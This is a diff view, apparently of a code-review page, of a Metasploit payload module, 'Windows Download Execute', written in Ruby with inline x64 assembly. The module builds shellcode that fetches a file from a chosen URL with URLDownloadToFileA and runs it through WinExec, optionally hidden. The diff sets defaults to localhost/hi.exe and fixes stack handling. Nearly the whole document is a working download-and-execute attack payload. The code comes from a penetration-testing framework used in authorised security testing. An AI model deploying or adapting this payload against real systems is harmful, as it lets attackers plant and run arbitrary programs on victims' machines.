|
4 | 4 | ##
|
5 | 5 |
|
6 | 6 | module MetasploitModule
|
| 7 | + CachedSize = 364 |
7 | 8 |
|
8 |
| - include Msf::Payload::Single |
9 |
| - include Msf::Payload::Windows |
10 |
| - include Msf::Payload::Windows::BlockApi_x64 |
11 |
| - |
12 |
| - def initialize(info = {}) |
13 |
| - super( |
14 |
| - update_info( |
15 |
| - info, |
16 |
| - 'Name' => 'Windows Download Execute', |
17 |
| - 'Description' => 'Downloads and executes the file from the specified url.', |
18 |
| - 'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>', |
19 |
| - 'License' => MSF_LICENSE, |
20 |
| - 'Platform' => 'win', |
21 |
| - 'Arch' => ARCH_X64 |
22 |
| - ) |
23 |
| - ) |
24 |
| - |
25 |
| - display_options = ['HIDE', 'SHOW'] |
| 9 | + include Msf::Payload::Single |
| 10 | + include Msf::Payload::Windows |
| 11 | + include Msf::Payload::Windows::BlockApi_x64 |
26 | 12 |
|
27 |
| - register_options( |
28 |
| - [ |
29 |
| - OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']), |
30 |
| - OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']), |
31 |
| - OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) |
32 |
| - ] |
33 |
| - ) |
34 |
| - end |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Windows Download Execute', |
| 18 | + 'Description' => 'Downloads and executes the file from the specified url.', |
| 19 | + 'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>', |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Platform' => 'win', |
| 22 | + 'Arch' => ARCH_X64 |
| 23 | + ) |
| 24 | + ) |
35 | 25 |
|
36 |
| - def generate(_opts={}) |
| 26 | + display_options = %w[HIDE SHOW] |
37 | 27 |
|
38 |
| - url = (datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg') |
39 |
| - file = (datastore['FILEPATH'] || 'fox.jpg') |
40 |
| - display = (datastore['DISPLAY'] || 'HIDE') |
| 28 | + register_options( |
| 29 | + [ |
| 30 | + OptString.new('URL', [true, 'The url to download the file from.', 'http://localhost/hi.exe']), |
| 31 | + OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.exe']), |
| 32 | + OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) |
| 33 | + ] |
| 34 | + ) |
| 35 | + end |
41 | 36 |
|
| 37 | + def generate(_opts = {}) |
| 38 | + url = datastore['URL'] || 'http://localhost/hi.exe' |
| 39 | + file = datastore['FILEPATH'] || 'fox.exe' |
| 40 | + display = datastore['DISPLAY'] || 'HIDE' |
42 | 41 |
|
43 |
| - payload = %^ |
| 42 | + payload = %^ |
44 | 43 | cld
|
45 |
| - and rsp, -16 |
| 44 | + and rsp, -16 |
46 | 45 | call main
|
47 | 46 | #{asm_block_api}
|
48 | 47 |
|
49 | 48 | main:
|
50 |
| - pop rbp |
| 49 | + pop rbp |
51 | 50 | call LoadLibrary
|
52 | 51 | db "urlmon.dllK"
|
53 | 52 | ; V, is this the land of do-as-you-please?
|
54 | 53 |
|
55 | 54 | LoadLibrary:
|
56 | 55 | pop rcx ; rcx points to the dll name.
|
57 | 56 | xor byte [rcx+10], 'K' ; null terminator
|
58 |
| - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','LoadLibraryA')} |
| 57 | + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} |
59 | 58 | call rbp ; LoadLibraryA("urlmon.dll")
|
60 | 59 | ; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher.
|
61 |
| - |
| 60 | +
|
62 | 61 | SetUrl:
|
63 | 62 | call SetFile
|
64 | 63 | db "#{url}A"
|
65 | 64 | ; The Sound of Silence maybe a Careless Whisper?
|
66 |
| - |
| 65 | +
|
67 | 66 | SetFile:
|
68 |
| - pop rdx ; 2nd argument |
| 67 | + pop rdx ; 2nd argument |
69 | 68 | xor byte [rdx+#{url.length}], 'A' ; null terminator
|
70 | 69 | call UrlDownloadToFile
|
71 | 70 | db "#{file}C"
|
72 | 71 | ; Never compromise not even in the face of armageddon.
|
73 |
| - |
| 72 | +
|
74 | 73 | UrlDownloadToFile:
|
75 | 74 | pop r8 ; 3rd argument
|
76 | 75 | xor byte [r8+#{file.length}], 'C' ; null terminator
|
77 | 76 | xor rcx,rcx ; 1st argument
|
78 | 77 | xor r9,r9 ; 4th argument
|
79 |
| - mov qword [rsp+0x30], rcx ; 5th argument |
80 |
| - mov r10d, #{Rex::Text.block_api_hash('urlmon.dll','URLDownloadToFileA')} |
| 78 | + sub rsp, 8 |
| 79 | + push rcx ; 5th argument |
| 80 | + mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')} |
81 | 81 | call rbp
|
82 | 82 | ; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living.
|
83 |
| - |
| 83 | +
|
84 | 84 | SetCommand:
|
85 | 85 | call Exec
|
86 | 86 | db "cmd /c #{file}F"
|
87 |
| - |
| 87 | +
|
88 | 88 | Exec:
|
89 | 89 | pop rcx ; 1st argument
|
90 |
| - xor byte [rcx+#{file.length + 7 }], 'F' ; null terminator |
91 |
| - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','WinExec')} |
| 90 | + xor byte [rcx+#{file.length + 7}], 'F' ; null terminator |
| 91 | + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} |
92 | 92 | xor rdx, rdx ; 2nd argument
|
93 | 93 | ^
|
94 | 94 |
|
95 |
| - if display == 'HIDE' |
96 |
| - hide = %^ |
| 95 | + if display == 'HIDE' |
| 96 | + hide = %( |
97 | 97 | call rbp
|
98 | 98 | ; I am vengeance! I am the night! I am Batman!
|
99 |
| - ^ |
100 |
| - payload << hide |
| 99 | + ) |
| 100 | + payload << hide |
101 | 101 |
|
102 |
| - elsif display == 'SHOW' |
103 |
| - show = %^ |
| 102 | + elsif display == 'SHOW' |
| 103 | + show = %( |
104 | 104 | inc rdx ; SW_NORMAL = 1
|
105 | 105 | call rbp
|
106 | 106 | ; It's our only home. Our heaven and our hell. This is Outer Heaven.
|
107 |
| - ^ |
108 |
| - payload << show |
109 |
| - end |
| 107 | + ) |
| 108 | + payload << show |
| 109 | + end |
110 | 110 |
|
111 |
| - if datastore['EXITFUNC'] == 'process' |
112 |
| - exit_asm = %^ |
| 111 | + if datastore['EXITFUNC'] == 'process' |
| 112 | + exit_asm = %( |
113 | 113 | xor rcx,rcx
|
114 |
| - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitProcess')} |
| 114 | + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} |
115 | 115 | call rbp
|
116 |
| - ^ |
117 |
| - payload << exit_asm |
118 |
| - |
119 |
| - elsif datastore['EXITFUNC'] == 'thread' |
120 |
| - exit_asm = %^ |
| 116 | + ) |
| 117 | + payload << exit_asm |
| 118 | + |
| 119 | + elsif datastore['EXITFUNC'] == 'thread' |
| 120 | + exit_asm = %( |
121 | 121 | xor rcx,rcx
|
122 |
| - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitThread')} |
| 122 | + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} |
123 | 123 | call rbp
|
124 | 124 | ; She walks in beauty, like the night...
|
125 |
| - ^ |
126 |
| - payload << exit_asm |
127 |
| - end |
128 |
| - |
129 |
| - Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string |
| 125 | + ) |
| 126 | + payload << exit_asm |
130 | 127 | end
|
| 128 | + |
| 129 | + Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string |
| 130 | + end |
131 | 131 | end
|
0 commit comments